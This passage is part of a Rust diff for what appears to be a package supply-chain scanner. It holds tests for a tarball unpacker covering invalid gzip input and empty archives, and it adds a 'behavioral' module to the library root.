unpack_tarball(b"not a gzip stream"), + Err(TarballError::Archive(_)) + )); + } + + #[test] + fn empty_archive_is_allowed() { + let archive = tar_gz(&[]); + assert_eq!(unpack_tarball(&archive).unwrap(), Vec::new()); + } +} diff --git a/src/lib.rs b/src/lib.rs index 7723816..64b751b 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -13,6 +13,7 @@ //! install-time `setup.py` calls, shipped native binaries, and risky //! changes between two versions. +pub mod behavioral; pub mod config; pub mod cve; pub mod ignore;